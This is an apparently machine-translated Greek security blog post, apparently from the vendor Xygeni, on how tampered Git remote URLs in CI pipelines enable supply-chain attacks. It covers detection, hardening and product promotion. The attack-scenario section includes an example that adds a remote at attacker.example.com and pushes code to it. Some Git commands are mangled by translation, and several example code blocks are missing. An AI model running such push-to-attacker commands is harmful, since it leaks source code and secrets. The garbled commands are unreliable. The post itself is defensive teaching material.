git remote set-url - git set url για remote - git add remote

Όταν το απομακρυσμένο set-url του Git γίνεται κίνδυνος στην αλυσίδα εφοδιασμού

Ο Κρυμμένος Κίνδυνος Πίσω από μια Απλή Εντολή Git

Για τους περισσότερους προγραμματιστές, η εκτέλεση μιας εντολής όπως git remote set-url origin μοιάζει με ρουτίνα, απλώς ένα ακόμη βήμα στη διατήρηση της διαμόρφωσης του Git. Τα σενάρια CI εκτελούν επίσης συνήθως εντολές όπως git remote set-url, Git set url for remote ή Git remote add για fetch ή push code κατά τη διάρκεια των builds. Αλλά εδώ έγκειται ο κίνδυνος: εάν ένας εισβολέας παραβιάσει αυτήν τη διαμόρφωση (τοπικά ή στο CI), μπορεί να ανακατευθύνει την πηγή σας σε ένα κακόβουλο αποθετήριο, να υποκλέψει διαπιστευτήρια ή να εισάγει κακόβουλο λογισμικό στην αλυσίδα εφοδιασμού.

Παράδειγμα για το πώς χρησιμοποιείται συνήθως:

# Νόμιμη χρήση

git απομακρυσμένη προέλευση ορισμού URL https://github.com/org/project.git

⚠️ Μη ασφαλές παράδειγμα, μόνο για εκπαιδευτικούς σκοπούς. Μην το χρησιμοποιείτε στην παραγωγή.

Ασφαλής έκδοση, pin και επαλήθευση προέλευσης αποθετηρίου

Γιατί; Εάν το τηλεχειριστήριο έχει μεταβεί σε έναν κεντρικό υπολογιστή που ελέγχεται από εισβολέα, κάθε επόμενο git fetch/git push υποδεικνύει κακόβουλο κώδικα. Χρησιμοποιήστε σκληρό κώδικα για αξιόπιστες προελεύσεις, όταν είναι δυνατόν, και αποφύγετε τις μη επικυρωμένες δυναμικές διευθύνσεις URL.

Πώς η απομακρυσμένη χειραγώγηση θέτει σε κίνδυνο την κατασκευή Pipeline

Μια τροποποιημένη διεύθυνση URL απομακρυσμένου Git μπορεί να έχει σοβαρές συνέπειες σε αυτοματοποιημένα pipelines όπου τα σενάρια είναι έμμεσα αξιόπιστα.

Παράδειγμα σεναρίου:

  • Ένα σενάριο CI χρησιμοποιεί την εντολή git remote set-url για να αναδιαμορφώσει δυναμικά τα αποθετήρια.
  • Μια παραβιασμένη μεταβλητή περιβάλλοντος (π.χ., URL διακριτικού ή αποθετηρίου) εισάγεται στο σενάριο.
  • Η έκδοση ανακτά ή ωθεί κώδικα σε ένα κακόβουλο αποθετήριο.
  • Ο εισβολέας εισάγει κερκόπορτες ή παραποιεί εξαρτήσεις.

⚠️ Μη ασφαλές παράδειγμα, μόνο για εκπαιδευτικούς σκοπούς. Μην το χρησιμοποιείτε στην παραγωγή.

Ασφαλής έκδοση, επικυρώστε το $REPO_URL πριν από τη χρήση (επιτρεπόμενη λίστα / επαλήθευση xygeni).

Γιατί: Επικυρώστε τις εισερχόμενες διευθύνσεις URL αποθετηρίου σε σχέση με μια διατηρούμενη λίστα επιτρεπόμενων (ή χρησιμοποιήστε xygeni verify --git-origin) πριν ενεργήσουν πάνω τους. Αυτό εμποδίζει τους εισβολείς να παρακάμψουν μεταβλητές περιβάλλοντος για να ανακατευθύνουν pipelines.

Εντοπισμός μη εξουσιοδοτημένων αλλαγών στην απομακρυσμένη διαμόρφωση

Το Git δεν σας ειδοποιεί όταν τροποποιείται ένα τηλεχειριστήριο. Προληπτική παρακολούθηση του .git/config και οι έλεγχοι ακεραιότητας πριν από την κατασκευή είναι απαραίτητοι.

Πρακτικές Τεχνικές Ανίχνευσης

  • Επιθεώρηση διαμόρφωσης Git:

     
    git remote -v

    Συγκρίνετε την έξοδο με τις αναμενόμενες διευθύνσεις URL που είναι αποθηκευμένες σε μια ασφαλή γραμμή βάσης.

  • Επικύρωσε .git/config ακεραιότητα:

     
    sha256sum .git/config

    Συγκρίνετε το άθροισμα ελέγχου με μια αξιόπιστη γραμμή βάσης.

  • Επικύρωση βάσει CI:

     
    validate-origin: script: - xygeni verify --git-origin https://github.com/org/project.git

Εκπαιδευτική σημείωση: Μην εκτελείτε ελέγχους ακεραιότητας ή εντολές επαλήθευσης με διαπιστευτήρια μακράς διαρκείας που είναι εκτεθειμένα σε αρχεία καταγραφής ή σε μη προστατευμένα περιβάλλοντα. Χρησιμοποιήστε εφήμερα διαπιστευτήρια, κρυμμένα μυστικά και αποφύγετε την εκτέλεση εντολών επικύρωσης ως προνομιούχος χρήστης, όπου είναι δυνατόν.

Συμβουλή ανίχνευσης: Αναζητήστε απομακρυσμένα συστήματα που οδηγούν σε μη κανονικά domains (μη αναμενόμενο) .net, .io, διευθύνσεις IP), διπλότυπα απομακρυσμένα ονόματα ή μεταβλητές περιβάλλοντος που ελέγχουν διευθύνσεις URL αποθετηρίων χωρίς επικύρωση. Η έγκαιρη ανίχνευση αποτρέπει git set-url χειραγώγηση από μολυσματικές κατασκευές.

Ασφάλεια προέλευσης αποθετηρίου με Guardrails και Επικύρωση Hash

Πρόληψη σημαίνει επιβολή αυστηρών ελέγχων σχετικά με τα αποθετήρια από τα οποία δημιουργείτε. Guardrails περιλαμβάνουν υπογραφή, επικύρωση κατακερματισμού και περιορισμό στο ποιος μπορεί να τροποποιήσει μεταβλητές CI.

Ασφαλείς πρακτικές για την ακεραιότητα του αποθετηρίου

Καρφιτσώστε τις διευθύνσεις URL των αποθετηρίων, κωδικοποιήστε αξιόπιστες προελεύσεις όπου είναι εφικτό:

Επικύρωση κατακερματισμών αποθετηρίου:

Επαληθεύστε ότι το HEAD ταιριάζει με ένα αναμενόμενο hash πριν από τη δημιουργία.

⚠️ Ανασφαλές παράδειγμα, εκτύπωση διακριτικών σε αρχεία καταγραφής (μην χρησιμοποιείτε στην παραγωγή).

Ασφαλής έκδοση, διαβάστε μυστικά από το θησαυροφυλάκιο και μην εκτυπώνετε ποτέ

Μικρή λίστα ελέγχου: Ασφαλής απομακρυσμένη διαχείριση Git

Ενσωμάτωση της επικύρωσης URL απομακρυσμένου συνόλου Git σε CI/CD Pipelines

Πρόσθεση guardrails και αυτοματοποιημένη επαλήθευση για να σταματήσει η απομακρυσμένη χειραγώγηση νωρίς pipeline.

Παράδειγμα κιγκλιδώματος ασφαλείας: έλεγχος για διπλότυπα ή μη εξουσιοδοτημένα τηλεχειριστήρια

Ενίσχυση κατά της παραβίασης της εφοδιαστικής αλυσίδας σε κοινόχρηστα περιβάλλοντα

Οι κοινόχρηστοι εκτελεστές και οι επιτρεπόμενες εντολές απομακρυσμένης πρόσβασης ενέχουν υψηλό κίνδυνο. Αποφύγετε τις εντολές που προσθέτουν μη ελεγμένα τηλεχειριστήρια κατά τη διάρκεια εκτέλεσης της εργασίας.

⚠️ Μη ασφαλές παράδειγμα, προσθήκη τηλεχειριστηρίου εισβολέα (μην το χρησιμοποιείτε).

Ασφαλής έκδοση, περιορισμός σε επικυρωμένους τομείς και χρήση –set-url μόνο για εγκεκριμένες προελεύσεις

Σημείωση: Προτιμήστε τους εφήμερους εκτελεστές και αποφύγετε τις μόνιμες κοινόχρηστες προσωρινές μνήμες μεταξύ των εργασιών.

Σημείωση σχετικά με τους εκτελεστές: Χρησιμοποιήστε εφήμερους, απομονωμένους εκτελεστές που δημιουργούνται ξανά για κάθε εργασία. Οι κοινόχρηστοι δίσκοι ή οι προσωρινές μνήμες μπορούν να διατηρήσουν παραποιημένα αρχεία σε όλες τις εκδόσεις.

Ενσωμάτωση της διεύθυνσης URL του Git για απομακρυσμένη επικύρωση σε CI/CD Pipelines

Η ασφάλεια της χρήσης του git remote set-url δεν αφορά μόνο τους χειροκίνητους ελέγχους. Πρόκειται για αυτοματοποίηση. Οι σύγχρονες ροές εργασίας DevSecOps μπορούν να ενσωματώσουν την επικύρωση απευθείας σε CI/CD pipelines.

Παράδειγμα: Αυτοματοποιημένη απομακρυσμένη επικύρωση ακεραιότητας

Αυτή η διαμόρφωση διασφαλίζει ότι πριν από την εκτέλεση οποιασδήποτε κατασκευής ή ανάπτυξης, το pipeline επικυρώνει:

  • Η διεύθυνση URL του αποθετηρίου αντιστοιχεί στην αναμενόμενη τιμή.
  • Commit οι υπογραφές είναι έγκυρες.
  • Δεν προστέθηκαν μη αναμενόμενα τηλεχειριστήρια χρησιμοποιώντας την εντολή git add remote.

Πρόσθετοι έλεγχοι CI

  • Pre-commit hooks: Ελέγξτε ότι δεν υπάρχουν μη εξουσιοδοτημένα git απομακρυσμένη ορισμός-url υπάρχουν εντολές σε commits.
  • Επιβολή πολιτικής ως κώδικα: Ορίστε τις επιτρεπόμενες προελεύσεις ως μέρος των πολιτικών που ελέγχονται από την έκδοση.
  • Κατοπτρισμός εξαρτήσεων: Λήψη κώδικα από επαληθευμένους εσωτερικούς καθρέφτες αντί για άμεσες πηγές στο διαδίκτυο.

Αυτοματοποίηση αυτών των ελέγχων όχι μόνο αποτρέπει τις λανθασμένες ρυθμίσεις, αλλά ανιχνεύει και απόπειρες παραβίασης της αλυσίδας εφοδιασμού πριν καν αποσταλεί ο κώδικας.

Ενίσχυση κατά της παραβίασης της εφοδιαστικής αλυσίδας σε κοινόχρηστα περιβάλλοντα

Οι κοινόχρηστοι runners ή τα εφήμερα περιβάλλοντα CI εισάγουν πρόσθετους κινδύνους. Όταν πολλαπλές κατασκευές μοιράζονται πόρους, οι εντολές git remote set-url ή git add remote μπορούν να χρησιμοποιηθούν ως όπλα για να διατηρούν κακόβουλα remotes σε όλες τις συνεδρίες.

Συνήθη σενάρια επίθεσης

Ένα παραβιασμένο σενάριο δημιουργίας προσθέτει ένα νέο τηλεχειριστήριο για να προωθήσει κώδικα στο αποθετήριο ενός εισβολέα:

git προσθήκη απομακρυσμένου αντιγράφου ασφαλείας https://attacker.example.com/repo.git

git push backup main

  • Ένα άλλο έργο που εκτελείται στον ίδιο παράγοντα CI ανακτά δεδομένα από αυτήν την μολυσμένη κατάσταση.
  • Ευαίσθητα δεδομένα, όπως διακριτικά ή αντικείμενα κατασκευής, διαρρέουν μέσω μη εξουσιοδοτημένων προωθήσεων.

Μέτρα σκλήρυνσης

  • Εφήμεροι Δρομείς: Επαναφορά περιβαλλόντων CI μετά από κάθε κατασκευή.
  • Απομόνωση δικτύου: Περιορίστε την εξερχόμενη επισκεψιμότητα σε εγκεκριμένους τομείς.
  • Ελάχιστο προνόμιο: Περιορισμός δικαιωμάτων για λειτουργίες Git στο pipelines.
  • Υπογραφή Τεχνουργημάτων: Βεβαιωθείτε ότι όλα τα αποτελέσματα κατασκευής είναι κρυπτογραφικά υπογεγραμμένα και επαληθευμένα.

Συνδυάζοντας την απομόνωση, την επικύρωση και την παρακολούθηση, οι ομάδες μπορούν να εξουδετερώσουν επιθέσεις που εκμεταλλεύονται το git set url για απομακρυσμένο χειρισμό.

Επικύρωση, παρακολούθηση και αυτοματοποίηση της αξιοπιστίας του αποθετηρίου

Ένα μόνο git remote set-url που έχει χρησιμοποιηθεί λανθασμένα ή ένα μη επαληθευμένο git add remote μπορεί να ανακατευθύνει σιωπηλά ολόκληρη τη διαδικασία δημιουργίας σε ένα αποθετήριο που ελέγχεται από εισβολείς. Η γραμμή μεταξύ παραγωγικότητας και συμβιβασμού στο DevOps είναι πιο λεπτή από ποτέ, και επιθέσεις αλυσίδας εφοδιασμού λογισμικού εκμεταλλευτείτε ακριβώς αυτό.

Για να διατηρήσετε την εμπιστοσύνη σας pipelines:

Πλατφόρμες όπως Ξυγένη βοηθήστε τις ομάδες DevSecOps να εντοπίσουν λανθασμένες ρυθμίσεις απομακρυσμένης λειτουργίας, να παρακολουθήσουν τα όρια εμπιστοσύνης του αποθετηρίου και να αποκλείσουν τους κινδύνους της εφοδιαστικής αλυσίδας που προκύπτουν από την κακή χρήση του Git, προτού καν προλάβουν κακόβουλα τηλεχειριστήρια να αναπτύξουν κώδικα.

Εμπιστευτείτε τη ροή εργασίας σας, αλλά επαληθεύστε την πηγή σας. Με αυτόν τον τρόπο αποτρέπετε το git remote set-url από το να γίνει η επόμενη παραβίαση ασφαλείας σας.

εργαλεία-ανάλυσης-σύνθεσης-λογισμικού-sca
Ιεράρχηση, αποκατάσταση και ασφάλεια των κινδύνων λογισμικού σας
Αποκτήστε τον Δωρεάν Λογαριασμό σας.
Δεν απαιτείται πιστωτική κάρτα.

Ασφαλίστε την ανάπτυξη και την παράδοση λογισμικού σας

με το Xygeni Product Suite